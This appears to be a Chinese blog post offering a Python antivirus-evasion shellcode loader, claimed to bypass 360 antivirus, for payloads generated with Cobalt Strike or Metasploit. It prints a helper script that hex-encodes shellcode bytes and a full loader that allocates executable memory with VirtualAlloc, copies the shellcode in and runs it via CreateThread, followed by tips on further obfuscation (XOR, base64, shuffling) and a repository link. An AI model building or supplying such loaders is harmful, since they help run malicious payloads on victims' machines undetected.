Python免杀ShellCode加载器

给阿姨倒杯卡布奇诺

前言

最近阅读K8哥哥写的shellcode加载器文章时发现他的工具已经被杀了,于是自己修改了下源码。
目前免杀360(2019-10.22),别的杀软自行测试。

免杀原理

将shellcode转成hex,然后通过加载器执行shellcode

payload制作

这里选择Cs(Msf)生成标准C格式的payload。payload Generator –>Output C

shellcode转hex

将上述生成的payload替换到char2hex.py第四行代码中,运行生成hex格式的payload。
char2hex.py

1
2
3
4
5
# char2hex By Hone老帅
import sys

char = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac"
print char.encode('hex')

加载器执行shellcode

加载器执行hex格式的shellcode

1
使用方式:shellcode.exe hex

shellcode.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# shellcode By Hone老帅
import ctypes
import sys
import random

decode = sys.argv[1].decode("hex")
n=random.randint(0,len(decode)-1)
shellcode = bytearray(decode[:n]+decode[n:])
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

效果图


举一反三

上述的加载器代码是对shellcode进行随机分割处理,然后把分割好的两部分拼接起来。同样的,也可以对shellcode进行打乱、替换、运算处理、base64加密、异或等等,最后把shellcode还原,达到免杀目的。
下载地址:https://github.com/OneHone/Py-Shellcode